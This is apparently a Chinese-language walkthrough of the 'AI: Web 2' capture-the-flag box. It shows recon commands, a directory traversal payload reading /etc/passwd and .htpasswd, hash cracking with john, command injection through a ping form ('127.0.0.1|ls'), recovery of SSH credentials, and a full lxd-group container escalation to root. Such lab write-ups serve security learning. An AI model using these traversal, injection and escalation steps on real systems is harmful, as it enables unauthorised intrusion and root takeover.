1 信息收集
1.1 主機發現
arp-scan -l
主機地址為192.168.1.4
1.2 服務端口掃描
nmap -sS -sV -A -T5 -p- 192.168.1.4
開放22,80端口
2 訪問服務
2.1 80端口訪問
http://192.168.1.4:80/
先嘗試admin等其他常見用戶名登錄無果
然后點擊signup發現這是一個注冊接口
注冊好username就可以直接進行登錄,這里注冊一個root
根據頁面提示內容進行搜索
發現此為目錄遍歷漏洞
采用/download.php?file_name=…/etc/passwd的形式讀取
一點一點的嘗試
../../../../../../etc/passwd
根據之前信息收集的結果來看,服務器采用apache
所以嘗試讀取/etc/apache2/.htpasswd文件
得到對應的hash密碼
嘗試使用工具破解
這里采用john工具進行破解,kali自帶
使用john進行爆破一下,,,,發現爆破不了,,, 后面看了描述提示了字典:
This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler. For any hint please tweet on @arif_xpress
使用字典:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
john --wordlist=rockyou-45.txt temp.txt
得到賬號密碼:aiweb2admin:c.ronaldo
嘗試之前發現的ssh端口,發現不是ssh賬號密碼
3 目錄掃描
3.1 dirb掃描
發現了webadmin頁面需要密碼賬號登錄
嘗試用剛剛收集到的賬號密碼
賬號aiweb2admin 密碼c.ronaldo
發現可以登錄
根據提示內容,得知還有robots頁面
根據文件內容提示獲取以下兩個路徑
http://192.168.1.4/webadmin/H05Tpin9555/
http://192.168.1.4/webadmin/S0mextras/
第一個頁面中為ping測試的內容,可以通過命令執行漏洞方式來獲取其他內容
而第二個頁面中提示尋找一些有趣的東西在本文件夾中
首先在ping頁面中輸入127.0.0.1查看結果
顯示為ping IP的反饋
使用管道符分割后再提交可以看到發生了變化
127.0.0.1|ls
發下其讀出了文件夾下目錄
已知此頁面與需要查看文件頁面為同級 如果返回上級頁面再進入S0mextras下有可能會獲取到對應的文件內容
使用
127.0.0.1|find ../S0mextras/ . -type f 2>/dev/null
獲得以下結果
可以看到隱藏文件 .sshUserCred55512.txt
http://192.168.1.4/webadmin/S0mextras/.sshUserCred55512.txt
賬號:n0nr00tuser 密碼:zxowieoi4sdsadpEClDws1sf
使用其登錄ssh 登錄成功
至此成功登入對應服務器
4 提權
4.1 查看權限
id查看權限
發現用戶屬于lxd組
想到了lxd提權
使用
find / -perm -u=s -type f 2>/dev/null
從根目錄查找具有root權限的二進制文件
剛好發現了lxc也存在root權限
4.2 創建容器,掛載磁盤,進入容器,進入目錄提權
GitHub - saghul/lxd-alpine-builder: Build Alpine Linux images for LXD
把容器上傳進去
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test //創建容器test
lxc init test test -c security.privileged=true //初始化
lxc config device add test test disk source=/ path=/mnt/root recursive=true //給 test 添加磁盤掛載到/mnt/root 本機的/根目錄等價于容器的/mnt/root 目錄
lxc start test //啟動容器
lxc exec test /bin/sh //此時就是 root 權限,因為這個容器是你創建的,所以你享有所有權,如果你訪問/root 是沒有文件的
cd /mnt/root/root //這其實就是訪問服務器的/root 目錄
cat flag.txt
由于這個用戶是在 lxd 組里面,所以他能創建容器,然后把 root 權限能操作的目錄,掛在到容器里
面,那么你再進入容器里面進行操作的話,就是 root 權限